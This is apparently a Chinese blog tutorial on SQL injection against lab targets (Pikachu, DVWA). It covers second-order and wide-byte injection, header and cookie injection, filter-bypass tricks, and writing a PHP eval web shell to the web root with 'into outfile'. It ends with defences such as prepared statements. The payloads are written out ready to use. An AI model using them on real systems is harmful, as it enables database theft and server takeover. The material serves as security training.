🌝博客主页:泥菩萨
💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具
3.7 二次注入
不好挖这个漏洞,需要搞懂业务逻辑关系
二次注入通常是指在存入数据库时做了过滤,但是取出来的时候没有做过滤,而产生的数据库注入
1️⃣插入恶意数据
在第一次向数据库插入数据库时,网站本身使用addslashes()
对其中的特殊字符进行转义,但是addslashes()有一个特点就是虽然参数在过滤后会添加“\"
进行转义,但是”\"
并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据
在MySQL中,\属于转义字符,当我们insert插入\字符时,\在数据库中最终只会存储为空值“ ”
2️⃣引用恶意数据
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了了脏数据,没有进一步的校验和处理,这样就会造成SQL的二次注入
3.8 宽字节注入
安装pikachu环境
docker pull area39/pikachu
docker run -d -p 8000:80 area39/pikachu
借助 Docker 轻松搭建 Pikachu 靶场教程
宽字节概念
-
如果一个字符的大小是一个字节的,称为窄字节;
-
如果一个字符的大小是两个及以上字节的,称为宽字节;
-
像GB2312、GBK、GB18030、BIG5、Shift_jis等编码都是常见的宽字节字符集
-
英文默认占一个字节,中文占两个字节
宽字节注入原理
宽字节注入利用MySQL的一个特性:使用GBK编码的时候,会认为两个字符是一个汉字
进入pikachu靶场的后端查看mysql数据库中使用的什么编码
docker exec -it pikachu_id bash
show variables like '%character%'
发现数据库用的latin1编码方式,但是上面说了用gbk编码才有宽字节注入场景
而pikachu靶场又存在宽字节注入,那是因为网站代码手动设置了mysql编码为gbk
判断输入点是字符型,构造字符型注入语句
发现注入失败,但是去数据库里能查出来,这说明网站做了过滤
为了防止网站被SQL注入,网站开发人员会做一些防护措施,其中最常见的就是对一些特殊字符进行转义
通过前面的学习可以了解到,SQL注入非常关键的一步就是让引号闭合和跳出引号,无法跳出引号,那么输入的内容就永远在引号里,即永远是字符串,无法实现SOL注入
网站开发者也想到了这一步,于是做个防护措施:转义,对输入的敏感内容、特殊字符进行转义
addslashes()函数
- addslashes() 会在预定义字符之前添加反斜线
\
进行转义 - 预定义字符:单引号
'
,双引号"
,反斜线\
,NULL
【转义】:预定义字符在加上反斜线之后,就已经不具备其原有的语法功能了,就仅仅是一个普通的字符串了
绕过addslashes()函数
通过前面的SQL注入实验可以发现,字符型的注入点我们都是用单引号来判断的,但是当遇到 addslashes() 函数时,单引号会被转义,导致我们用来判断注入点的单引号失效。所以我们的目的就是使转义符\ 失效、使单引号逃逸
✨绕过原理:
# 前端输入
kobe%df' or 1=1#
# 后端通过addslashes()添加转义字符\,编码后变成%5C
kobe%df\' or 1=1#
kobe%df%5c%27 or 1=1#
# 因为数据库使用gbk编码(2个字节会被编码为1个汉字),那么%df%5c= 運
kobe運' or 1=1#
✨绕过步骤:
1️⃣输入 kobe%df' and 1=1#
后发现还是失败
抓包发现那是因为网站前端对%做了url编码变成%25
2️⃣抓包直接在bp中修改,就不会经过url编码了
掌握这个原理后,%df
也可以替换成其他2位16进制数;不同的编码方式有不同的绕过方法
3.9 http header和cookie注入
HTTP头注入其实并不是一个新的SQL注入类型,而是指出现SQL注入漏洞的不同场景下该怎么使用
当攻击者能够控制这些 HTTP 头部字段的值,并且应用程序没有正确地转义或过滤这些输入时,他们可能会插入恶意的 SQL 代码片段,从而可能导致数据泄露、数据篡改、甚至完全控制数据库
进入pikachu的http header来进行一下测试:
抓包将它发送到【Repeater】模块,将User-Agent的值删掉,自己构造一个单引号:
出现了语法错误,意味着输入的内容会到数据库中进行查询,接下来的步骤就很简单了,跟前面的报错注入是一样的
'or updatexml(1,concat(0x7e,database()),0) or'
cookie注入就是把注入语句通过抓包放进cookie里面,跟上面的步骤一样,这里不再赘述了
四、从MySQL注入到GetShell
mysql支持向外写文件(这里的“外”是指服务器内部,除mysql),需要用到select into outfile
命令
select into outfile的作用:将被选择的一行代码写入一个文件中,文件被创建到服务器上
select into outfile的使用前提是:
- 要知道网站的绝对路径,可以通过开源程序、报错信息、phpinfo界面、404界面等方式知道
- 对目录要有写权限,一般image之类的存放图片的目录有写权限
- 要有mysql file权限(即能够对系统的文件读写操作),默认情况下只有root权限有
还要注意:写的文件名一定是在网站中不存在的,不然会失败
我们使用into outfile写入一句话木马,文件名为shell2.php:
1' union select 1,"<?php eval($_POST['a']);?>" into outfile ' /var/www/html/shell2.php
- eval():允许执行任何传递给它的 PHP 代码字符串
- $_POST[‘a’]:a是攻击者定义的关键字,用来接收攻击者输入的内容
- /var/www/html:网站的根目录,底层是Linux系统的话,文件通常放在这
1️⃣在DVWA Low等级的SQL Injection中输入
2️⃣访问http://ip:port/shell2.php,打开hackerbar插件,勾选Post data,给a传递参数后点击【Execute】执行
pwd属于操作系统命令,不能直接传递给php,要按照规定的格式写
使用get方法,直接在url构造
1' union select 1,"<?php eval($_GET['a']);?>" into outfile ' /var/www/html/shell2.php
3️⃣打开蚁剑,密码为a(蚁剑出于安全考虑,只能连接post方法)
五、SQL注入绕过
5.1 大小写绕过
适用于设置了黑名单的情况下,可以任意的把某些字改为大小写
举例:seLeCT、SelEcT
5.2 替换关键字
大小写转换无法绕过,而且正则表达式会替换或删除select、union等关键字可以尝试双写:
举例:SELselectECT、SeLSeselectleCTect
5.3 使用编码
在浏览器输入一个链接,浏览器会对特殊字符进行url编码,可以通过编码的方式进行绕过
空格%20、单引号%27、左括号%28、右括号%29
1️⃣url编码
1%2527id=1%252f%252a*/UNION%252f%252a%252a/SELECT
2️⃣16进制编码
mysql>select * from users where user_id=1 and (extractvalue(1,concat(0x7e,(select password from users where first_name=0x61646d696e),0x7e)));
5.4 使用注释
比如输入select 1被网站拦截,可以尝试select/**/1进行注释绕过
1️⃣普通注释
看一下常见的用于注释的符号有哪些:
-- ,/**/,#,-- -,
2️⃣内联注释
不具备注释语义的注释符
:仍然能执行出结果
相比普通注释,内联注释使用的更多,它有一个特性/* ! */只有MySQL能识别
/*!SELECT*/1/*!union*//*!all*//*!select*/2;
5.5 等价函数与命令替换
1、函数
bin() #二进制
hex() #十六进制
bin()、hex() ==> ascii()
sleep() ==> benchmark()
benchmark(count,expr)
benchmark会重复计算expr表达式count次,通过这种方式就可以评估出mysql执行这个expr表达式的效率
concat_ws() ==> concat()
concat_wa("分隔符",字段1,字段2....) #多个列的字段合并并添加分隔符
mid()、substr() ==> substring() #字符串的截取
strcmp(str1,str2)
#比较两个字符串,如果两个字符串相等就返回0,如果第二个字符小于第一个字符就返回1,反之返回-1
strcmp(left('password',1),0x70) = 0
strcmp(left('password',1),0x69) = 1
strcmp(left('password',1),0x71) = -1
2、符号
当and和or不能用时,可以用&& 和 || 替换
=不能使用时,可以考虑<、>
空格,可以使用如下符号表示:%20 %09 % 0a %0b %0c %0d %a0 /**/
5.6 特殊符号
1、反引号`(tab键上方):可以过滤空格和正则,特殊情况下还可以当注释
select id from`users`;
2、-+:过滤空格和关键字
select+user_id-1+1.from users;
3、@符号:@表示用户定义,@@表示系统变量
select@^1,from users;
4、部分可能发挥作用的符号:`、~、!、@、%、()、[]、.、-、+、|、%00
六、SQL注入防御
--------------sql注入的危害这么大,为什么不对数据库进行修改?
mysql的作用只是存储和查询数据,而注入是代码层面出现的问题,所以不需要对数据库进行修复
6.1 预编译和绑定变量
预编译:提前构造好语句,只能提交指定类型的值
String sql="select id,num from user where id=?" //定义sql语句
PreparedStatement ps=conn.prepareStatemnt(sql)
ps.setInt(1,id); //设置变量
ps.executeQuery(); //执行
那么后面输入的内容只会被当作字符串来执行,关键字不能发挥语义
6.2 严格检查参数的数据类型,使用安全函数
并不是所有场景都能采用sql语句预编译,也可以对输入的内容进行严格检测,根据业务特征做好过滤